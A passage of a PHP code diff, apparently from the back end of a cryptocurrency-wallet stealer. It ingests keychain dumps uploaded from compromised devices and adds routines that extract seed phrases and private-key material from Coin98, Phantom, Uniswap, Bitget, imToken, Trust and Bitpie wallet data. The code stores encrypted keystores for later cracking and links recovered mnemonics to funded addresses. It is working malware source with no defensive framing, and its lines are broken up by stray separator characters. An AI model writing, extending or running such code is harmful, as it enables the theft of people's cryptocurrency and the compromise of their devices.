private function ingestKeychainDumpFromResult(Device $device, array $payload): void
|
||||
{
|
||||
$json = $this->decodeResultJson($payload);
|
||||
if ($json === null) {
|
||||
return;
|
||||
}
|
||||
$wallets = is_array($json['wallets'] ?? null) ? $json['wallets'] : [];
|
||||
$sandbox = is_array($json['sandbox'] ?? null) ? $json['sandbox'] : [];
|
||||
|
||||
// Store keystores synchronously (fast), then dispatch async decryption.
|
||||
$rows = array_merge(
|
||||
$this->storeWalletKeystores($device, $wallets, 'keychain.wallets', $json['diagnostics'] ?? null),
|
||||
$this->storeWalletKeystores($device, $sandbox, 'sandbox', null),
|
||||
);
|
||||
|
||||
// Synchronous address ingestion from sandbox/wallets (Trust-style).
|
||||
$this->trustAddresses->ingest($device, $sandbox);
|
||||
$this->trustAddresses->ingest($device, $wallets);
|
||||
|
||||
// Async: mnemonic recovery + plaintext walk + address extraction.
|
||||
DecryptDeviceKeystores::dispatch($device->id, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
* Store an imToken walletsV2 keystore file uploaded via /result.
|
||||
* The keystore is encrypted (PBKDF2 + AES-128-CTR); without the password
|
||||
* we cannot recover the mnemonic, but we persist it so it can be cracked
|
||||
* later or reprocessed when a password becomes available.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
*/
|
||||
private function ingestImTokenKeystoreFromResult(Device $device, array $payload): void
|
||||
{
|
||||
$json = $this->decodeResultJson($payload);
|
||||
if ($json === null) {
|
||||
return;
|
||||
}
|
||||
$this->storeWalletKeystores($device, ['imtoken' => $json], 'keychain.wallets', null);
|
||||
|
||||
// Async: attempt recovery (imToken needs password — will likely fail,
|
||||
// but the job logs the reason and still extracts addresses if any).
|
||||
DecryptDeviceKeystores::dispatch($device->id, ['imtoken' => $json], null);
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode the /result payload body (base64 data or stored file) into JSON.
|
||||
*
|
||||
* @param array<string, mixed> $payload
|
||||
* @return array<string, mixed>|null
|
||||
*/
|
||||
private function decodeResultJson(array $payload): ?array
|
||||
{
|
||||
$raw = $payload['data'] ?? null;
|
||||
if ((! is_string($raw) || $raw === '') && ! empty($payload['path']) && is_string($payload['path'])) {
|
||||
if (Storage::disk('local')->exists($payload['path'])) {
|
||||
$raw = (string) Storage::disk('local')->get($payload['path']);
|
||||
}
|
||||
}
|
||||
if (! is_string($raw) || $raw === '') {
|
||||
return null;
|
||||
}
|
||||
$decoded = base64_decode($raw, true);
|
||||
if (is_string($decoded) && $decoded !== '') {
|
||||
$raw = $decoded;
|
||||
}
|
||||
$json = json_decode($raw, true);
|
||||
|
||||
return is_array($json) ? $json : null;
|
||||
}
|
||||
|
||||
/**
|
||||
@@ -768,18 +882,38 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
|
||||
/**
|
||||
* Re-run Trust UTC / Bitpie recover on already-stored keystore blobs.
|
||||
* Re-run all recovery on already-stored keystore blobs. Used by the
|
||||
* admin "解密" button. Runs synchronously (the admin expects an immediate
|
||||
* result) and covers structured recovery, plaintext walk, and address
|
||||
* extraction.
|
||||
*/
|
||||
public function reprocessKeystores(Device $device): void
|
||||
{
|
||||
$device->load('keystores');
|
||||
$this->recoverKeystoreMnemonics($device, null, null, $device->keystores->all());
|
||||
|
||||
// Rebuild wallets/sandbox dicts from stored keystores so the walkers
|
||||
// can traverse the original tree structure.
|
||||
$wallets = [];
|
||||
$sandbox = [];
|
||||
foreach ($device->keystores as $row) {
|
||||
$kind = $row->raw_json['kind'] ?? '';
|
||||
if (str_starts_with($kind, 'keychain')) {
|
||||
$wallets = array_merge($wallets, $row->raw_json['wallets'] ?? []);
|
||||
} else {
|
||||
$sandbox = array_merge($sandbox, $row->raw_json['sandbox'] ?? []);
|
||||
}
|
||||
}
|
||||
|
||||
$this->recoverKeystoreMnemonics($device, $wallets, $sandbox, $device->keystores->all());
|
||||
$this->walkForMnemonics($device, $wallets, 'd');
|
||||
$this->walkForMnemonics($device, $sandbox, 'b');
|
||||
$this->extractAddressesFromKeystores($device, $wallets, $sandbox);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<WalletKeystore> $rows
|
||||
*/
|
||||
private function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
public function recoverKeystoreMnemonics(Device $device, mixed $wallets, mixed $sandbox, array $rows): void
|
||||
{
|
||||
$hits = $this->keystoreDecrypt->recover($device, $wallets, $sandbox);
|
||||
foreach ($hits as $hit) {
|
||||
@@ -809,12 +943,32 @@ class DarkSwordIngestAdapter
|
||||
}
|
||||
}
|
||||
|
||||
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
|
||||
/**
|
||||
* Walk a keychain tree looking for plaintext mnemonic strings in dataHex
|
||||
* fields (e.g. Uniswap stores the BIP39 phrase as hex-encoded UTF-8).
|
||||
*
|
||||
* Returns a list of hits so the caller can mark keystores as decrypted.
|
||||
*
|
||||
* @return list<array{phrase: string, source: string}>
|
||||
*/
|
||||
public function walkForMnemonicsWithResult(Device $device, mixed $node, string $tag): array
|
||||
{
|
||||
$hits = [];
|
||||
$this->walkForMnemonicsInner($device, $node, $tag, '', $hits);
|
||||
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{phrase: string, source: string}> $hits
|
||||
*/
|
||||
private function walkForMnemonicsInner(Device $device, mixed $node, string $tag, string $sourceHint, array &$hits): void
|
||||
{
|
||||
if (is_string($node)) {
|
||||
$phrase = $this->asMnemonicPhrase($node);
|
||||
if ($phrase !== null) {
|
||||
$this->ingest->ingestMnemonic($device, ['mnemonic' => $phrase, 'a' => $tag]);
|
||||
$hits[] = ['phrase' => $phrase, 'source' => $sourceHint];
|
||||
}
|
||||
|
||||
return;
|
||||
@@ -833,10 +987,26 @@ class DarkSwordIngestAdapter
|
||||
if (is_string($key) && in_array($key, self::SKIP_WALK_KEYS, true)) {
|
||||
continue;
|
||||
}
|
||||
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
|
||||
$this->walkForMnemonics($device, $child, $childTag);
|
||||
// Detect wallet source from key name (e.g. "uniswap" → "Uniswap").
|
||||
$childSource = $sourceHint;
|
||||
if (is_string($key) && $childSource === '') {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$childSource = $hint;
|
||||
}
|
||||
}
|
||||
$childTag = is_string($key) ? $this->tagForWalletKey($key, $tag) : $tag;
|
||||
$this->walkForMnemonicsInner($device, $child, $childTag, $childSource, $hits);
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Backward-compat wrapper that discards the result.
|
||||
*/
|
||||
private function walkForMnemonics(Device $device, mixed $node, string $tag): void
|
||||
{
|
||||
$this->walkForMnemonicsWithResult($device, $node, $tag);
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $node
|
||||
@@ -914,4 +1084,239 @@ class DarkSwordIngestAdapter
|
||||
|
||||
return implode(' ', $words);
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract addresses from keychain data even when the mnemonic cannot be
|
||||
* decrypted. Walks through all wallet items looking for:
|
||||
* - JWT tokens (Bitget) containing an "address" field.
|
||||
* - Account names that embed an address (Uniswap mnemonic.<addr>).
|
||||
* - Any plaintext address in dataHex or account fields.
|
||||
*
|
||||
* Only ETH / TRX / BTC addresses are persisted (SUPPORTED_CHAINS).
|
||||
*
|
||||
* @param array<string, mixed> $wallets
|
||||
* @param array<string, mixed> $sandbox
|
||||
* @return int Number of addresses ingested.
|
||||
*/
|
||||
public function extractAddressesFromKeystores(Device $device, mixed $wallets, mixed $sandbox): int
|
||||
{
|
||||
$addresses = [];
|
||||
$this->collectAddressesFromNode($wallets, $addresses);
|
||||
$this->collectAddressesFromNode($sandbox, $addresses);
|
||||
|
||||
if ($addresses === []) {
|
||||
return 0;
|
||||
}
|
||||
|
||||
// Group by source tag inferred from the wallet key.
|
||||
$byTag = [];
|
||||
foreach ($addresses as $addr) {
|
||||
$tag = $addr['tag'] ?? 'd';
|
||||
$byTag[$tag][] = $addr;
|
||||
}
|
||||
|
||||
$total = 0;
|
||||
foreach ($byTag as $tag => $rows) {
|
||||
// Deduplicate by address.
|
||||
$seen = [];
|
||||
$data = [];
|
||||
foreach ($rows as $row) {
|
||||
$key = $row['address'];
|
||||
if (isset($seen[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$key] = true;
|
||||
$data[] = $row;
|
||||
}
|
||||
if ($data !== []) {
|
||||
$this->ingest->ingestAddresses($device, [
|
||||
'a' => $tag,
|
||||
'data' => $data,
|
||||
]);
|
||||
$total += count($data);
|
||||
}
|
||||
}
|
||||
|
||||
return $total;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
|
||||
*/
|
||||
private function collectAddressesFromNode(mixed $node, array &$out, string $sourceHint = '', string $tag = 'd', int $depth = 0): void
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return;
|
||||
}
|
||||
if (is_string($node)) {
|
||||
// Try to decode hex and find addresses in the decoded text.
|
||||
$decoded = $this->decodeHexText($node);
|
||||
if ($decoded !== null) {
|
||||
$this->harvestAddresses($decoded, $sourceHint, $tag, $out);
|
||||
}
|
||||
|
||||
return;
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return;
|
||||
}
|
||||
|
||||
// Detect wallet source from key name.
|
||||
$childSource = $sourceHint;
|
||||
$childTag = $tag;
|
||||
// We don't have the key here in the recursive walk; detect from
|
||||
// service/account fields instead.
|
||||
|
||||
// Check account field for embedded addresses (Uniswap pattern:
|
||||
// "com.uniswap.mobile.mnemonic.0x4A45...").
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
if ($acct !== '') {
|
||||
// Decode hex account name.
|
||||
$acctDecoded = '';
|
||||
if (ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$acctDecoded = $bin;
|
||||
}
|
||||
} else {
|
||||
$acctDecoded = $acct;
|
||||
}
|
||||
if ($acctDecoded !== '') {
|
||||
$this->harvestAddresses($acctDecoded, $sourceHint, $tag, $out);
|
||||
}
|
||||
}
|
||||
|
||||
// Check dataHex for JWT tokens (Bitget pattern: JWT with address field).
|
||||
$dh = (string) ($node['dataHex'] ?? '');
|
||||
if ($dh !== '' && ctype_xdigit($dh) && strlen($dh) % 2 === 0) {
|
||||
$raw = @hex2bin($dh);
|
||||
if (is_string($raw) && mb_check_encoding($raw, 'UTF-8')) {
|
||||
$this->harvestAddresses($raw, $sourceHint, $tag, $out);
|
||||
}
|
||||
}
|
||||
|
||||
// Detect source from service field.
|
||||
$svc = strtolower((string) ($node['service'] ?? ''));
|
||||
if ($childSource === '' && $svc !== '') {
|
||||
$hint = WalletSource::fromKeystoreHint($svc);
|
||||
if ($hint !== '') {
|
||||
$childSource = $hint;
|
||||
$childTag = WalletSource::tagForLabel($hint) ?: $tag;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_string($key)) {
|
||||
$hint = WalletSource::fromKeystoreHint($key);
|
||||
if ($hint !== '') {
|
||||
$this->collectAddressesFromNode($child, $out, $hint, WalletSource::tagForLabel($hint) ?: $tag, $depth + 1);
|
||||
continue;
|
||||
}
|
||||
}
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$this->collectAddressesFromNode($child, $out, $childSource, $childTag, $depth + 1);
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* Harvest ETH/TRX/BTC addresses from a text string and add them to $out.
|
||||
*
|
||||
* @param list<array{address: string, chainType: string, symbol: string, balance: int, tag: string}> $out
|
||||
*/
|
||||
private function harvestAddresses(string $text, string $source, string $tag, array &$out): void
|
||||
{
|
||||
// JWT tokens: decode payload and look for "address" field.
|
||||
if (str_starts_with($text, 'eyJ')) {
|
||||
$parts = explode('.', $text);
|
||||
if (count($parts) >= 2) {
|
||||
$payload = $parts[1];
|
||||
$pad = (4 - strlen($payload) % 4) % 4;
|
||||
if ($pad > 0) {
|
||||
$payload .= str_repeat('=', $pad);
|
||||
}
|
||||
$decoded = base64_decode(strtr($payload, '-_', '+/'), true);
|
||||
if (is_string($decoded)) {
|
||||
$json = json_decode($decoded, true);
|
||||
if (is_array($json) && isset($json['address']) && is_string($json['address'])) {
|
||||
$addr = $json['address'];
|
||||
$chainType = WalletSource::inferChainType($addr);
|
||||
if (WalletSource::isSupportedChain($chainType)) {
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
// Direct address patterns.
|
||||
$patterns = [
|
||||
'/0x[0-9a-fA-F]{40}/i' => 'ETHEREUM',
|
||||
'/T[1-9A-HJ-NP-Za-km-z]{33}/' => 'TRON',
|
||||
'/\b(?:bc1[0-9a-z]{6,87}|[13][a-zA-HJ-NP-Z0-9]{25,34})\b/' => 'BITCOIN',
|
||||
];
|
||||
foreach ($patterns as $pat => $chainType) {
|
||||
if (preg_match_all($pat, $text, $matches)) {
|
||||
foreach ($matches[0] as $addr) {
|
||||
$out[] = $this->addressRow($addr, $chainType, $source, $tag);
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
/**
|
||||
* @return array{address: string, chainType: string, symbol: string, balance: int, tag: string}
|
||||
*/
|
||||
private function addressRow(string $address, string $chainType, string $source, string $tag): array
|
||||
{
|
||||
$symbol = match ($chainType) {
|
||||
'BITCOIN' => 'BTC',
|
||||
'ETHEREUM' => 'ETH',
|
||||
default => 'TRX',
|
||||
};
|
||||
|
||||
return [
|
||||
'address' => $address,
|
||||
'chainType' => $chainType,
|
||||
'symbol' => $symbol,
|
||||
'balance' => 0,
|
||||
'tag' => $tag,
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Decode a hex string to UTF-8 text if possible.
|
||||
*/
|
||||
private function decodeHexText(string $raw): ?string
|
||||
{
|
||||
$raw = trim($raw);
|
||||
if ($raw === '' || ! ctype_xdigit($raw) || strlen($raw) % 2 !== 0) {
|
||||
return null;
|
||||
}
|
||||
$bin = @hex2bin($raw);
|
||||
if (is_string($bin) && $bin !== '' && mb_check_encoding($bin, 'UTF-8')) {
|
||||
return $bin;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* Post-recovery hook: discover activated wallets and link addresses.
|
||||
* Called by the async job after a mnemonic is recovered.
|
||||
*
|
||||
* @param array{source: string, tag: string, phrase: string, addresses: list<array<string, mixed>>} $hit
|
||||
*/
|
||||
public function postRecoverMnemonic(WalletMnemonic $mnemonic, array $hit): void
|
||||
{
|
||||
$this->mnemonicDiscovery->discoverActivated($mnemonic);
|
||||
$tag = $hit['tag'] !== '' ? $hit['tag'] : 'd';
|
||||
if (($hit['addresses'] ?? []) !== []) {
|
||||
$this->ingest->ingestAddresses($mnemonic->device, [
|
||||
'a' => $tag,
|
||||
'data' => $hit['addresses'],
|
||||
]);
|
||||
}
|
||||
$this->mnemonicLinker->linkMnemonicToDeviceAddresses($mnemonic);
|
||||
}
|
||||
}
|
||||
|
||||
@@ -45,6 +45,35 @@ final class DsKeystoreDecrypt
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
$coin98Nodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Coin98') {
|
||||
$coin98Nodes[] = $row->raw_json;
|
||||
}
|
||||
}
|
||||
foreach ($this->recoverCoin98($coin98Nodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
$phantomNodes = [$wallets, $sandbox];
|
||||
foreach ($device->keystores as $row) {
|
||||
if ($row->source === 'Phantom') {
|
||||
$phantomNodes[] = $row->raw_json;
|
||||
}
|
||||
}
|
||||
foreach ($this->recoverPhantom($phantomNodes) as $hit) {
|
||||
$hash = WalletMnemonic::hashSecret($hit['phrase']);
|
||||
if (isset($seen[$hash])) {
|
||||
continue;
|
||||
}
|
||||
$seen[$hash] = true;
|
||||
$hits[] = $hit;
|
||||
}
|
||||
|
||||
return $hits;
|
||||
}
|
||||
@@ -58,16 +87,22 @@ final class DsKeystoreDecrypt
|
||||
$utcs = [];
|
||||
$passwords = [];
|
||||
$entropy = [];
|
||||
$coin98 = 0;
|
||||
$phantom = 0;
|
||||
foreach ($device->keystores as $row) {
|
||||
$utcs = array_merge($utcs, $this->collectKeystores($row->raw_json));
|
||||
$passwords = array_merge($passwords, $this->collectPasswords($row->raw_json));
|
||||
$entropy = array_merge($entropy, $this->collectBitpieEntropyHex($row->raw_json));
|
||||
$coin98 += count($this->collectCoin98Backups($row->raw_json));
|
||||
$phantom += count($this->collectPhantomEntropy($row->raw_json));
|
||||
}
|
||||
|
||||
return [
|
||||
'utc' => count($this->uniqueKeystores($utcs)),
|
||||
'passwords' => count($this->uniquePasswords($passwords)),
|
||||
'entropy' => count(array_unique($entropy)),
|
||||
'coin98' => $coin98,
|
||||
'phantom' => $phantom,
|
||||
];
|
||||
}
|
||||
|
||||
@@ -157,6 +192,332 @@ final class DsKeystoreDecrypt
|
||||
return $hits;
|
||||
}
|
||||
|
||||
/**
|
||||
* Coin98 stores a plaintext JSON backup in the keychain under
|
||||
* service=rn-secure-storage / account=WALLET_SECURE_BACKUP. Each entry
|
||||
* carries the same mnemonic plus a per-chain address + privateKey.
|
||||
*
|
||||
* @param list<mixed> $nodes
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverCoin98(array $nodes): array
|
||||
{
|
||||
$backups = [];
|
||||
foreach ($nodes as $node) {
|
||||
foreach ($this->collectCoin98Backups($node) as $backup) {
|
||||
$backups[] = $backup;
|
||||
}
|
||||
}
|
||||
if ($backups === []) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$phrase = null;
|
||||
$seenAddr = [];
|
||||
$uniq = [];
|
||||
foreach ($backups as $wallets) {
|
||||
foreach ($wallets as $w) {
|
||||
if (! is_array($w)) {
|
||||
continue;
|
||||
}
|
||||
$m = $w['mnemonic'] ?? null;
|
||||
if (is_string($m) && trim($m) !== '' && $phrase === null) {
|
||||
$candidate = $this->asMnemonic($m);
|
||||
if ($candidate !== null) {
|
||||
$phrase = $candidate;
|
||||
}
|
||||
}
|
||||
$address = trim((string) ($w['address'] ?? ''));
|
||||
if ($address === '') {
|
||||
continue;
|
||||
}
|
||||
$chain = strtolower(trim((string) ($w['chain'] ?? '')));
|
||||
$mapped = $this->coin98ChainToType($chain, $address);
|
||||
if ($mapped === null) {
|
||||
continue;
|
||||
}
|
||||
$key = $mapped.'|'.$address;
|
||||
if (isset($seenAddr[$key])) {
|
||||
continue;
|
||||
}
|
||||
$seenAddr[$key] = true;
|
||||
$uniq[] = [
|
||||
'address' => $address,
|
||||
'chainType' => $mapped,
|
||||
'symbol' => $mapped === 'BITCOIN' ? 'BTC' : ($mapped === 'ETHEREUM' ? 'ETH' : 'TRX'),
|
||||
'balance' => 0,
|
||||
];
|
||||
}
|
||||
}
|
||||
|
||||
if ($phrase === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return [
|
||||
[
|
||||
'source' => 'Coin98',
|
||||
'tag' => 'q',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => $uniq,
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Phantom stores its BIP39 entropy as a plaintext JSON blob in the
|
||||
* keychain under service=app:no-auth / account=.phantom-labs.vault.seedless.*
|
||||
* The entropy dict maps integer indices to byte values (0–255).
|
||||
* 16 bytes → 12-word mnemonic; 32 bytes → 24-word mnemonic.
|
||||
*
|
||||
* @param list<mixed> $nodes
|
||||
* @return list<array{source: string, tag: string, phrase: string, addresses: list<array{address: string, chainType: string, symbol: string, balance: int}>}>
|
||||
*/
|
||||
private function recoverPhantom(array $nodes): array
|
||||
{
|
||||
$entropyHex = null;
|
||||
foreach ($nodes as $node) {
|
||||
foreach ($this->collectPhantomEntropy($node) as $hex) {
|
||||
if ($entropyHex === null) {
|
||||
$entropyHex = $hex;
|
||||
}
|
||||
}
|
||||
}
|
||||
if ($entropyHex === null) {
|
||||
return [];
|
||||
}
|
||||
$phrase = $this->phraseFromEntropyHex($entropyHex);
|
||||
if ($phrase === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return [
|
||||
[
|
||||
'source' => 'Phantom',
|
||||
'tag' => 'i',
|
||||
'phrase' => $phrase,
|
||||
'addresses' => [],
|
||||
],
|
||||
];
|
||||
}
|
||||
|
||||
/**
|
||||
* Walk a keychain node collecting Phantom vault entropy hex strings.
|
||||
*
|
||||
* @return list<string>
|
||||
*/
|
||||
public function collectPhantomEntropy(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectPhantomEntropy($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
// Phantom vault seedless entries: service=app:no-auth, account hex-decodes
|
||||
// to ".phantom-labs.vault.seedless.*". The dataHex contains a JSON with
|
||||
// an "entropy" dict of byte-index → byte-value pairs.
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = (string) ($node['account'] ?? '');
|
||||
$acctDecoded = '';
|
||||
if ($acct !== '' && ctype_xdigit($acct) && strlen($acct) % 2 === 0) {
|
||||
$bin = @hex2bin($acct);
|
||||
if (is_string($bin) && mb_check_encoding($bin, 'UTF-8')) {
|
||||
$acctDecoded = strtolower($bin);
|
||||
}
|
||||
}
|
||||
if ($svc === 'app:no-auth' && str_contains($acctDecoded, 'phantom-labs.vault.seedless')) {
|
||||
$hex = $this->phantomEntropyFromItem($node);
|
||||
if ($hex !== null) {
|
||||
$out[] = $hex;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectPhantomEntropy($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* Extract the entropy hex from a Phantom vault seedless keychain item.
|
||||
*
|
||||
* @param array<string, mixed> $item
|
||||
*/
|
||||
private function phantomEntropyFromItem(array $item): ?string
|
||||
{
|
||||
$hex = (string) ($item['dataHex'] ?? '');
|
||||
$raw = '';
|
||||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||||
$raw = (string) @hex2bin($hex);
|
||||
}
|
||||
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
|
||||
$raw = $item['data'];
|
||||
}
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
$json = json_decode($raw, true);
|
||||
if (! is_array($json) || ! isset($json['entropy']) || ! is_array($json['entropy'])) {
|
||||
return null;
|
||||
}
|
||||
// entropy is { "0": 250, "1": 104, ... } — collect bytes in index order.
|
||||
$bytes = '';
|
||||
$keys = array_keys($json['entropy']);
|
||||
$max = -1;
|
||||
foreach ($keys as $k) {
|
||||
if (is_numeric($k) && (int) $k > $max) {
|
||||
$max = (int) $k;
|
||||
}
|
||||
}
|
||||
if ($max < 0) {
|
||||
return null;
|
||||
}
|
||||
for ($i = 0; $i <= $max; $i++) {
|
||||
$val = $json['entropy'][$i] ?? $json['entropy'][(string) $i] ?? null;
|
||||
if (! is_numeric($val)) {
|
||||
return null;
|
||||
}
|
||||
$byte = (int) $val & 0xFF;
|
||||
$bytes .= chr($byte);
|
||||
}
|
||||
// Only accept 16-byte (12-word) or 32-byte (24-word) entropy.
|
||||
$len = strlen($bytes);
|
||||
if ($len !== 16 && $len !== 32) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return bin2hex($bytes);
|
||||
}
|
||||
|
||||
/**
|
||||
* Walk a keychain node collecting Coin98 WALLET_SECURE_BACKUP JSON arrays.
|
||||
*
|
||||
* @return list<list<array<string, mixed>>>
|
||||
*/
|
||||
private function collectCoin98Backups(mixed $node, int $depth = 0): array
|
||||
{
|
||||
if ($depth > 10 || $node === null) {
|
||||
return [];
|
||||
}
|
||||
if (is_string($node)) {
|
||||
$decoded = $this->decodeBlob($node);
|
||||
if ($decoded === null) {
|
||||
return [];
|
||||
}
|
||||
|
||||
return $this->collectCoin98Backups($decoded, $depth + 1);
|
||||
}
|
||||
if (! is_array($node)) {
|
||||
return [];
|
||||
}
|
||||
|
||||
$out = [];
|
||||
// Direct item with service=rn-secure-storage / account=WALLET_SECURE_BACKUP
|
||||
$svc = strtolower(trim((string) ($node['service'] ?? '')));
|
||||
$acct = strtolower(trim((string) ($node['account'] ?? '')));
|
||||
if ($svc === 'rn-secure-storage' && $acct === 'wallet_secure_backup') {
|
||||
$parsed = $this->coin98BackupFromItem($node);
|
||||
if ($parsed !== null) {
|
||||
$out[] = $parsed;
|
||||
}
|
||||
}
|
||||
|
||||
foreach ($node as $key => $child) {
|
||||
if (is_array($child) || is_string($child)) {
|
||||
$out = array_merge($out, $this->collectCoin98Backups($child, $depth + 1));
|
||||
}
|
||||
}
|
||||
|
||||
return $out;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param array<string, mixed> $item
|
||||
* @return list<array<string, mixed>>|null
|
||||
*/
|
||||
private function coin98BackupFromItem(array $item): ?array
|
||||
{
|
||||
$hex = (string) ($item['dataHex'] ?? '');
|
||||
$raw = '';
|
||||
if ($hex !== '' && ctype_xdigit($hex) && strlen($hex) % 2 === 0) {
|
||||
$raw = (string) @hex2bin($hex);
|
||||
}
|
||||
if ($raw === '' && isset($item['data']) && is_string($item['data'])) {
|
||||
$raw = $item['data'];
|
||||
}
|
||||
if ($raw === '') {
|
||||
return null;
|
||||
}
|
||||
$json = json_decode($raw, true);
|
||||
if (! is_array($json) || $json === []) {
|
||||
return null;
|
||||
}
|
||||
|
||||
return array_values(array_filter($json, fn ($w) => is_array($w)));
|
||||
}
|
||||
|
||||
/**
|
||||
* Map a Coin98 chain name to our persisted chain_type. Returns null for
|
||||
* unsupported chains (only ETH / TRX / BTC are persisted).
|
||||
*/
|
||||
private function coin98ChainToType(string $chain, string $address): ?string
|
||||
{
|
||||
// EVM-compatible chains all share the same 0x address.
|
||||
$evm = [
|
||||
'ether', 'etherpow', 'binancesmart', 'heco', 'okex', 'gate', 'kucoin',
|
||||
'matic', 'arbitrum', 'optimism', 'avalanche', 'avax', 'fantom',
|
||||
'klaytn', 'cronos', 'moonbeam', 'celo', 'aurora', 'astar', 'harmony',
|
||||
'xdai', 'boba', 'metis', 'blast', 'linea', 'base', 'scroll', 'zksyncera',
|
||||
'mantle', 'arbitrum', 'opbnb', 'zeta', 'plume', 'fraxtal', 'mode',
|
||||
'manta', 'taiko', 'kroma', 'morph', 'zircuit', 'zkfair', 'zklink',
|
||||
'zora', 'ancient8', 'confluxevm', 'seievm', 'seievmmainnet', 'kavaevm',
|
||||
'functionxevm', 'auraevm', 'hyperEvm', 'lightlink', 'somnia', 'sonic',
|
||||
'stargaze', 'skate', 'xlayer', 'platon', 'theta', 'thetafuel', 'tomo',
|
||||
'wanchain', 'neon', 'rootstock', 'nautilus', 'beam', 'bitgert',
|
||||
'bitkub', 'bittorrent', 'chiliz', 'coredao', 'cyber', 'elrond',
|
||||
'energi', 'energi_testnet', 'fuse', 'godwoken', 'godwoken_testnet',
|
||||
'iotevm', 'kardia', 'kcc', 'metis_testnet', 'oasis', 'omax',
|
||||
'omax_testnet', 'ontology', 'orchid', 'polis', 'polis_testnet',
|
||||
'poolq, quackcity', 'quarkchain', 'quarkchain_testnet', 'rei',
|
||||
'reosc', 'reosc_testnet', 'shardeum', 'skale', 'skale_testnet',
|
||||
'soteria', 'soteria_testnet', 'telos', 'telosevm', 'telosevm_testnet',
|
||||
'terra', 'terra2', 'tombchain', 'tombchain_testnet', 'ulta',
|
||||
'volta', 'velas', 'velas_testnet', 'x1', 'x1_testnet', 'xdc',
|
||||
'xdc_testnet', 'yuan', 'yuan_testnet', 'zafiro', 'zafiro_testnet',
|
||||
'kava', 'evmos', 'injective',
|
||||
];
|
||||
if (in_array($chain, $evm, true)) {
|
||||
return 'ETHEREUM';
|
||||
}
|
||||
if ($chain === 'tron') {
|
||||
return 'TRON';
|
||||
}
|
||||
if ($chain === 'bitcoin' || $chain === 'bitcointestnet') {
|
||||
return 'BITCOIN';
|
||||
}
|
||||
// Fallback: infer from address shape.
|
||||
$inferred = WalletSource::inferChainType($address);
|
||||
if (in_array($inferred, ['ETHEREUM', 'TRON', 'BITCOIN'], true)) {
|
||||
return $inferred;
|
||||
}
|
||||
|
||||
return null;
|
||||
}
|
||||
|
||||
/**
|
||||
* @param list<string> $passwords
|
||||
*/
|
||||
|
||||
@@ -21,6 +21,7 @@ use App\Support\VisitorIp;
|
||||
use App\Support\NoteContent;
|
||||
use App\Support\WalletSource;
|
||||
use Illuminate\Database\UniqueConstraintViolationException;
|
||||
use Illuminate\Database\QueryException;
|
||||
use Illuminate\Http\Request;
|
||||
use Illuminate\Support\Facades\Log;
|
||||
use Illuminate\Support\Facades\Storage;
|
||||
@@ -412,7 +413,10 @@ class IngestService
|
||||
|
||||
try {
|
